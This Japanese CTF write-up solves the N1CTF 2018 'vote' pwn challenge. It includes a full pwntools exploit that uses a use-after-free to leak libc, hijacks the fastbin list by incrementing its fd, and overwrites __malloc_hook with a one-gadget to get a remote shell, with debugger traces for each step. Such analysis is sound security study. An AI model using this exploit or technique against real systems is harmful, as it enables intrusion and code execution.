N1CTF 2018 writeup

# vote(Pwn, 250 points)
選挙の候補者を自分で登録して自分で投票したりするプログラム。
Use After Freeの脆弱性があってfastbin使ってるのでDouble FreeからのFastbin Dupができるかなと思って試してみたところ、consolidateしようとして落ちてしまうようだったので非常に困った。(Double Free対象のfastbinのfdが0xffffffffffffffffになっていると、0x40119dの「call _printf」でprintf→vfprintf→malloc→malloc_consolidateときたときに落ちるらしい)
最終的にはFastbin Dup以外の方法でFastbin unlink attackすることになるのだけれど、そこに至るまでにけっこう悩んだ。ただ、昨年のSECCON予選のelectionも投票を扱った問題で、「あのときはアドレスをインクリメントしていったな」と思い出したのでvote処理に着目し、なんとか解けた。

## ファイル情報
```shell-session
# file ./vote 
vote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=53266adcfdcb7b21a01e9f2a1cb0396b818bfba3, stripped
```

```shell-session
# checksec ./vote 
[*] '(snip)/vote'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

## 動作概要
+ 最初に投票対象の候補者を登録する
+ 候補者に対して、投票(Vote)したり投票取り下げ(Cancel)したりする
+ 得票数がマイナスになると、候補者自体が削除(free)される
+ ヒープ上に候補者ごとの構造体が存在し、それぞれのアドレスを.bss(0x6020e0～0x602158)から指している
+ 候補者の構造体要素は下記
    + 得票数(8バイト)
    + 最終得票時間(8バイト)
    + 候補者名(ユーザ指定サイズ)

``` shell-session
# ./vote
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 0
Please enter the name's size: 10
Please enter the name: AAAA
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 0
Please enter the name's size: 10
Please enter the name: BBBB
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 1
Please enter the index: 0
name: AAAA
count: 0
time: 1520817619
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 2
Please enter the index: 0
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 2
Please enter the index: 1
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 2
Please enter the index: 0
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 3
0       ->      2
1       ->      1
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 4
Please enter the index: 0
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 3
0       ->      1
1       ->      1
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 5
Bye 
```
## 脆弱点
関数sub_40109d内のfree実行時(0x401163、0x4011cbあたり)、free対象チャンクを指している.bss上の領域(0x6020e0～0x602158)がきれいにされないため、Use After Freeの脆弱性がある。
![2018-03-12_103123.png](https://qiita-image-store.s3.amazonaws.com/0/242139/d9b973fc-0cf9-912b-133e-68abf1ebae47.png)


## 考察
+ Fastbin unlink attackが使えそうなので、__malloc_hookにOne-Gadget-RCEのアドレスを書き込む方法を検討する
+ libc_baseを求めるために、どこかのアドレスをリークさせる
    + 下記の理由から、main_arenaのアドレスリークを行う
        + ヒープサイズを自由に決められること(smallbinをfreeすることで、そのfd, bk部分にmain_arena+0x58が書き込まれる)
        + Use After Freeの脆弱性があること
+ Fastbin unlink attackを行うためにfastbin->fdを書き換えないといけないが、Double Freeが使えない
    + そもそもDouble Freeできてもfastbin->fd部分は得票数となっているため、ユーザによって任意の値を書き込めない
        + ユーザによって書き込み可能な候補者名は、fastbinの16バイト目以降
    + ヒープオーバーフローは存在しない(多分)
    + Use After Freeの脆弱性により、ヒープがfreeされた後もvote(得票数をインクリメント)できる
        + 得票数はちょうどfastbin->fdにあたる
        + 別のヒープ上に偽チャンクを作り、そのヒープをfdとするfastbinに対してvoteを何回か繰り返す(Use After Freeにより実行可能)ことで、元々指していたヒープの先頭アドレスではなく偽チャンクの先頭アドレスを指させる
        + 偽チャンクのfdに、__malloc_hook周辺のアドレスを書いておく

## 方針
1. smallbinサイズのチャンク(#0)を確保してfreeし、当該チャンクのfd, bk部分にmain_arena+0x58のアドレスを書き込ませる
2. Use After Freeにより#0の内容を参照し、リークしたアドレスからlibc_base、__malloc_hook(-0x23)のアドレスを求める
3. 偽チャンクを含んだfastbin(#2)を確保する(偽チャンクのfdは__malloc_hook周辺を指している)
4. 上記と同じサイズのfastbin(#3)を確保する
5. #2および#3を順次freeする(このとき#3のfdは#2の先頭を指している)
6. #3に対してvoteを何回か繰り返して、そのfdに偽チャンクの先頭を指させる
7. 2回mallocすると、次のmallocでは__malloc_hook周辺のアドレス(偽チャンクのfd)が返る
8. mallocしてOne-Gadget-RCEのアドレスを書き込む
9. mallocを呼ぶような操作を実行する

## 事前準備
提供されたlibc-2.23.soについて、

+ ロードしたときの「main_arenaアドレス - libc_base」のオフセット値を求める(smallbinをfreeして確認)

```shell-session
pwndbg> x/6gx 0x686000
0x686000:       0x0000000000000000      0x00000000000000c1
0x686010:       0x00007f6c1df11b78      0x00007f6c1df11b78
0x686020:       0x4141414141414141      0x0000000000000000
```

```shell-session
pwndbg> vmmap 
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x402000 r-xp     2000 0      (snip)/vote
          0x601000           0x602000 r--p     1000 1000   (snip)/vote
          0x602000           0x603000 rw-p     1000 2000   (snip)/vote
          0x686000           0x6a7000 rw-p    21000 0      [heap]
    0x7f6c1d930000     0x7f6c1d948000 r-xp    18000 0      /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7f6c1d948000     0x7f6c1db47000 ---p   1ff000 18000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7f6c1db47000     0x7f6c1db48000 r--p     1000 17000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7f6c1db48000     0x7f6c1db49000 rw-p     1000 18000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7f6c1db49000     0x7f6c1db4d000 rw-p     4000 0      
    0x7f6c1db4d000     0x7f6c1dd0d000 r-xp   1c0000 0      (snip)/libc-2.23.so
    0x7f6c1dd0d000     0x7f6c1df0d000 ---p   200000 1c0000 (snip)/libc-2.23.so
    0x7f6c1df0d000     0x7f6c1df11000 r--p     4000 1c0000 (snip)/libc-2.23.so
    0x7f6c1df11000     0x7f6c1df13000 rw-p     2000 1c4000 (snip)/libc-2.23.so
    0x7f6c1df13000     0x7f6c1df17000 rw-p     4000 0      
```

```python
>>> hex(0x00007f6c1df11b78-0x58-0x7f6c1db4d000)
'0x3c4b20'
```

+ __malloc_hookのオフセット値を求める

```shell-session
# nm -D ./libc-2.23.so | grep malloc_hook
00000000003c4b10 V __malloc_hook
```

+ __malloc_hook周辺でfastbinとして返せそうな領域のsize部分の値を確認する
    + 今回は__malloc_hook-0x23
    + サイズは0x70

+ One-Gadget-RCEのオフセット値を求める

```shell-session
# one_gadget -f ./libc-2.23.so 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

## exploit
```python
from pwn import *

context.log_level = 'INFO'

target = '47.90.103.10'
port = 6000

conn = remote(target, port)

def create(size, name):
	conn.sendlineafter('Action: ', '0')
	conn.sendlineafter('size: ', str(size))
	conn.sendlineafter('name: ', name)

def show(idx):
	conn.sendlineafter('Action: ', '1')
	conn.sendlineafter('index: ', str(idx))
	
	conn.recvuntil('name: ')
	name = conn.recvuntil('\ncount: ', True)
	count = conn.recvuntil('\ntime: ', True)
	time = conn.recvuntil('\n', True)
	
	return [name, count, time]

def vote(idx):
	conn.sendlineafter('Action: ', '2')
	conn.sendlineafter('index: ', str(idx))

def cancel(idx):
	conn.sendlineafter('Action: ', '4')
	conn.sendlineafter('index: ', str(idx))

arena_offset = 0x3c4b20
malloc_hook_offset = 0x3c4b10

create(0xa0, 'A'*8) #0
create(0x20, 'A'*8) #1

cancel(0)

main_arena = int(show(0)[1]) - 0x58
libc_base = main_arena - arena_offset
target_addr = libc_base + malloc_hook_offset - 0x23

log.info('leak_arena: {0}'.format(hex(main_arena)))
log.info('libc_base: {0}'.format(hex(libc_base)))
log.info('target_addr: {0}'.format(hex(target_addr)))

payload = ''
payload += p64(0)
payload += p64(0x71)
payload += p64(target_addr)

create(0x50, payload) #2
create(0x50, 'A'*8) #3

cancel(2)
cancel(3)

for i in range(0x20):
	vote(3)

create(0x50, 'A'*8)
create(0x50, 'A'*8)

one_gadget = libc_base + 0xf0274

payload = ''
payload += p8(0) * 3
payload += p64(one_gadget)

create(0x50, payload)

conn.sendlineafter('Action: ', '0')
conn.sendlineafter('size: ', str(1))

conn.interactive()

conn.close()
```
## 検証メモ
`1.` smallbinサイズのチャンク(#0)を確保してfreeし、当該チャンクのfd, bk部分にmain_arena+0x58のアドレスを書き込ませる

```shell-session
pwndbg> x/6gx 0x644000
0x644000:       0x0000000000000000      0x00000000000000c1
0x644010:       0x00007fc8c8002b78      0x00007fc8c8002b78
0x644020:       0x4141414141414141      0x0000000000000000
```

`2.` Use After Freeにより#0の内容を参照し、リークしたアドレスからlibc_base、__malloc_hook(-0x23)のアドレスを求める

```shell-session
[*] leak_arena: 0x7fc8c8002b20
[*] libc_base: 0x7fc8c7c3e000
[*] target_addr: 0x7fc8c8002aed
```

```shell-session
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x402000 r-xp     2000 0      (snip)/vote
          0x601000           0x602000 r--p     1000 1000   (snip)/vote
          0x602000           0x603000 rw-p     1000 2000   (snip)/vote
          0x644000           0x665000 rw-p    21000 0      [heap]
    0x7fc8c7a21000     0x7fc8c7a39000 r-xp    18000 0      /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7fc8c7a39000     0x7fc8c7c38000 ---p   1ff000 18000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7fc8c7c38000     0x7fc8c7c39000 r--p     1000 17000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7fc8c7c39000     0x7fc8c7c3a000 rw-p     1000 18000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7fc8c7c3a000     0x7fc8c7c3e000 rw-p     4000 0      
    0x7fc8c7c3e000     0x7fc8c7dfe000 r-xp   1c0000 0      (snip)/libc-2.23.so
    0x7fc8c7dfe000     0x7fc8c7ffe000 ---p   200000 1c0000 (snip)/libc-2.23.so
    0x7fc8c7ffe000     0x7fc8c8002000 r--p     4000 1c0000 (snip)/libc-2.23.so
    0x7fc8c8002000     0x7fc8c8004000 rw-p     2000 1c4000 (snip)/libc-2.23.so
    0x7fc8c8004000     0x7fc8c8008000 rw-p     4000 0      
    0x7fc8c8008000     0x7fc8c802e000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7fc8c8212000     0x7fc8c8215000 rw-p     3000 0      
    0x7fc8c822c000     0x7fc8c822d000 rw-p     1000 0      
    0x7fc8c822d000     0x7fc8c822e000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7fc8c822e000     0x7fc8c822f000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7fc8c822f000     0x7fc8c8230000 rw-p     1000 0      
    0x7ffd89c36000     0x7ffd89c57000 rw-p    21000 0      [stack]
    0x7ffd89cb9000     0x7ffd89cbc000 r--p     3000 0      [vvar]
    0x7ffd89cbc000     0x7ffd89cbe000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
```

```shell-session
pwndbg> x/8gx 0x7fc8c8002aed
0x7fc8c8002aed: 0xc8c8001260000000      0x000000000000007f
0x7fc8c8002afd: 0xc8c7cc3e20000000      0xc8c7cc3a0000007f
0x7fc8c8002b0d <__realloc_hook+5>:      0x000000000000007f      0x0000000000000000
0x7fc8c8002b1d: 0x0100000000000000      0x0000000000000000
```

```shell-session
pwndbg> x/8gx 0x7fc8c8002aed+0x23
0x7fc8c8002b10 <__malloc_hook>: 0x0000000000000000      0x0000000000000000
0x7fc8c8002b20: 0x0000000100000000      0x0000000000000000
0x7fc8c8002b30: 0x0000000000000000      0x0000000000000000
0x7fc8c8002b40: 0x0000000000000000      0x0000000000000000
```

`3.` 偽チャンクを含んだfastbin(#2)を確保する(偽チャンクのfdは2.で求めた__malloc_hook-0x23を指している)
`4.` 上記と同じサイズのfastbin(#3)を確保する

+ #2: 0x644000
+ #3: 0x644100

```shell-session
pwndbg> x/48gx 0x644000
0x644000:       0x0000000000000000      0x0000000000000071
0x644010:       0x0000000000000000      0x000000005aa6855f
0x644020:       0x0000000000000000      0x0000000000000071
0x644030:       0x00007fc8c8002aed      0x0000000000000000
0x644040:       0x0000000000000000      0x0000000000000000
0x644050:       0x0000000000000000      0x0000000000000000
0x644060:       0x0000000000000000      0x0000000000000000
0x644070:       0x0000000000000000      0x0000000000000051
0x644080:       0x00007fc8c8002bb8      0x00007fc8c8002bb8
0x644090:       0x0000000000000000      0x0000000000000000
0x6440a0:       0x0000000000000000      0x0000000000000000
0x6440b0:       0x0000000000000000      0x0000000000000000
0x6440c0:       0x0000000000000050      0x0000000000000040
0x6440d0:       0x0000000000000000      0x000000005aa682f2
0x6440e0:       0x4141414141414141      0x0000000000000000
0x6440f0:       0x0000000000000000      0x0000000000000000
0x644100:       0x0000000000000000      0x0000000000000071
0x644110:       0x0000000000000000      0x000000005aa68597
0x644120:       0x4141414141414141      0x0000000000000000
0x644130:       0x0000000000000000      0x0000000000000000
0x644140:       0x0000000000000000      0x0000000000000000
0x644150:       0x0000000000000000      0x0000000000000000
0x644160:       0x0000000000000000      0x0000000000000000
0x644170:       0x0000000000000000      0x0000000000020e91
```

`5.` #2および#3を順次freeする(このとき#3のfdは#2の先頭を指している)

+ #2: 0x644000
+ #3: 0x644100(fd: 0x644000)
+ 偽チャンク: 0x644020

```shell-session
pwndbg> x/48gx 0x644000
0x644000:       0x0000000000000000      0x0000000000000071
0x644010:       0x0000000000000000      0x000000005aa6855f
0x644020:       0x0000000000000000      0x0000000000000071
0x644030:       0x00007fc8c8002aed      0x0000000000000000
0x644040:       0x0000000000000000      0x0000000000000000
0x644050:       0x0000000000000000      0x0000000000000000
0x644060:       0x0000000000000000      0x0000000000000000
0x644070:       0x0000000000000000      0x0000000000000051
0x644080:       0x00007fc8c8002bb8      0x00007fc8c8002bb8
0x644090:       0x0000000000000000      0x0000000000000000
0x6440a0:       0x0000000000000000      0x0000000000000000
0x6440b0:       0x0000000000000000      0x0000000000000000
0x6440c0:       0x0000000000000050      0x0000000000000040
0x6440d0:       0x0000000000000000      0x000000005aa682f2
0x6440e0:       0x4141414141414141      0x0000000000000000
0x6440f0:       0x0000000000000000      0x0000000000000000
0x644100:       0x0000000000000000      0x0000000000000071
0x644110:       0x0000000000644000      0x000000005aa68597
0x644120:       0x4141414141414141      0x0000000000000000
0x644130:       0x0000000000000000      0x0000000000000000
0x644140:       0x0000000000000000      0x0000000000000000
0x644150:       0x0000000000000000      0x0000000000000000
0x644160:       0x0000000000000000      0x0000000000000000
0x644170:       0x0000000000000000      0x0000000000020e91
```

+ サイズ0x70のfastbinsY\[ \]

```shell-session
pwndbg> telescope 0x7fc8c8002b20+0x30
00:0000│ rsi  0x7fc8c8002b50 —▸ 0x644100 ◂— 0x0
```

`6.` #3に対してvoteを0x20回繰り返して、そのfdに偽チャンクの先頭を指させる

+ #2: 0x644000
+ #3: 0x644100(fd: 0x644020)
+ 偽チャンク: 0x644020

```shell-session
pwndbg> x/48gx 0x644000
0x644000:       0x0000000000000000      0x0000000000000071
0x644010:       0x0000000000000000      0x000000005aa6855f
0x644020:       0x0000000000000000      0x0000000000000071
0x644030:       0x00007fc8c8002aed      0x0000000000000000
0x644040:       0x0000000000000000      0x0000000000000000
0x644050:       0x0000000000000000      0x0000000000000000
0x644060:       0x0000000000000000      0x0000000000000000
0x644070:       0x0000000000000000      0x0000000000000051
0x644080:       0x00007fc8c8002bb8      0x00007fc8c8002bb8
0x644090:       0x0000000000000000      0x0000000000000000
0x6440a0:       0x0000000000000000      0x0000000000000000
0x6440b0:       0x0000000000000000      0x0000000000000000
0x6440c0:       0x0000000000000050      0x0000000000000040
0x6440d0:       0x0000000000000000      0x000000005aa682f2
0x6440e0:       0x4141414141414141      0x0000000000000000
0x6440f0:       0x0000000000000000      0x0000000000000000
0x644100:       0x0000000000000000      0x0000000000000071
0x644110:       0x0000000000644020      0x000000005aa6884b
0x644120:       0x4141414141414141      0x0000000000000000
0x644130:       0x0000000000000000      0x0000000000000000
0x644140:       0x0000000000000000      0x0000000000000000
0x644150:       0x0000000000000000      0x0000000000000000
0x644160:       0x0000000000000000      0x0000000000000000
0x644170:       0x0000000000000000      0x0000000000000121
```

`7.` 2回mallocすると、次のmallocでは__malloc_hook-0x23(偽チャンクのfd)が返る

+ サイズ0x70のfastbinsY\[ \](1回目のmallocの後)

```shell-session
pwndbg> telescope 0x7fc8c8002b20+0x30
00:0000│   0x7fc8c8002b50 —▸ 0x644020 ◂— 0x0
```

+ サイズ0x70のfastbinsY\[ \](2回目のmallocの後)

```shell-session
pwndbg> telescope 0x7fc8c8002b20+0x30
00:0000│   0x7fc8c8002b50 —▸ 0x7fc8c8002aed ◂— 0xc8c8001260000000
```

`8.` mallocしてOne-Gadget-RCEのアドレスを書き込む

```shell-session
pwndbg> x/8gx 0x7fc8c8002aed+0x23
0x7fc8c8002b10 <__malloc_hook>: 0x00007fc8c7d2e274      0x0000000000000000
0x7fc8c8002b20: 0x0000000000000000      0x0000000000000000
0x7fc8c8002b30: 0x0000000000000000      0x0000000000000000
0x7fc8c8002b40: 0x0000000000000000      0x0000000000000000
```

`9.` mallocを呼ぶような操作を実行する

```shell-session
[+] Opening connection to 47.90.103.10 on port 6000: Done
[*] leak_arena: 0x7f6b5fbe7b20
[*] libc_base: 0x7f6b5f823000
[*] target_addr: 0x7f6b5fbe7aed
[*] Switching to interactive mode
$ ls
flag  vote
$ cat flag
N1CTF{Pr1nTf_2333333333!}
```